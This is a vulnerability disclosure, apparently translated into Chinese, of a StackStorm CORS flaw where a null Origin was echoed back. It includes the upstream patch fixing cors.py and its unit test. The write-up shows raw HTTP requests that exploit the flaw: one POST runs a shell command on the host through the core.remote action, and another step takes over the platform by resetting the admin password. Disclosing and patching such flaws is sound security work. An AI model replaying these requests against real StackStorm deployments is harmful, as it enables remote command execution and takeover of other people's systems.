在 2.10.3/2.9.3 之前，如果请求的来源未知，我们会返回 null。null 在某些客户端中可能导致来自未知来源的请求成功执行，从而允许针对 StackStorm API 的 XSS 式攻击的可能性。
发现者：Barak Tawily 和 Anna Tsibulskaya
(使用 Firefox 的用户是受害者，使用 Chrome 的用户是攻击者)
通过向 StackStorm API 发送带有 null Origin 请求头（Origin: null）的请求，服务器会以 Access-Control-Allow-Origin 响应 null。
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
服务器响应：
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID
利用 null CORS 的方法记录在 PortSwigger 的博客文章 中，我们可以找到以下 payload：
StackStorm 允许你配置 actions，其中一些如 core.remote 可以在你选择的主机上执行任意命令。
所以如果我们把主机设置为 127.0.0.1，就可以在 StackStorm 的 Docker 容器上执行命令。不错，由于只需发送一个简单的 POST 请求来注册一个 action，RCE 应该可行。
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131
{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}
我们确实可以在 StackStorm 主机上执行命令，但让我们进一步获得对 StackStorm 平台的完全控制。这可以通过重置管理员密码来实现。根据文档：
需要更改密码？运行：sudo htpasswd /etc/st2/htpasswd st2admin。 https://docs.stackstorm.com/authentication.html
太好了，让我们把所有这些整合在一起：
Origin: null 头时 CORS 为 null，注册新 action 的 POST 请求可以正常工作（我们还设置了参数 credentials: "include"）
安全公告：
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return
Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
st2common/st2common/middleware/cors.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
'origin': 'http://xss'
})
self.assertEqual(response.status_int, 200)
- self.assertEqual(response.headers['Access-Control-Allow-Origin'],
- 'null')
+ self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+ 'http://127.0.0.1:3000')
def test_wildcard_origin(self):
try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
origin_allowed = origin
else:
# See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
- origin_allowed = origin if origin in origins else 'null'
+ origin_allowed = origin if origin in origins else list(origins)[0]
else:
origin_allowed = list(origins)[0]